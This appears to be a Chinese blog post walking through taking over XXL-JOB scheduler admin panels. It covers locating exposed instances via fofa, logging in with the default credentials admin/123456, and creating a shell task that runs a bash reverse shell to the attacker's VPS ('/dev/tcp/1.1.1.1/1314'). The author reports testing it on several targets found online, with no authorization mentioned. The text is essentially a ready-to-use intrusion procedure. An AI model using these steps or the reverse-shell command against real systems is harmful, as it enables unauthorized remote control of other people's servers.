————背景说明————

XXL-JOB是一个轻量级分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。其后台可以通过添加新的任务并写入反弹shell的bash语句进行执行。官方好像觉得这是他们提供的一个功能点，不算是漏洞和设计疏忽，所以它目前还是广泛存在的。我在一次演练的时候遇到，简单地测试了一下发现没有成功，初步判断是不能出网，回来找了几台目标做了测试验证。

 

————实验过程————

首先在fofa上找个目标，输入相关特征查找，最好选择*的站。

 

目前我觉得，使用该攻击有两个前提，一是目标机子能够出网，二是该攻击需要进入到管理后台操作。

进入这个后台方法大多是打弱口令打一遍，其弱口令为admin/123456。不知道是因为管理员觉得调度平台没什么功能点还是啥，反正默认的账户密码大多没改，基本在fofa上面搜索十个后台能命中一半左右。

 

接下来就是直接操作了

选任务管理，然后右上角新增新增一个任务，在运行模式选中shell方式

其他的随便配配，不是很重要

 

接下来新增好了后，进入该任务的GLUE面板

然后写个反弹shell的指令

bash -i >& /dev/tcp/1.1.1.1/1314 0>&1

 

 1.1.1.1写自己公网vps

写完保存后在公网vps开启监听

 

 在管理面板选中任务，执行一次

 

 反弹getshell

 

 

 ————结束撒花————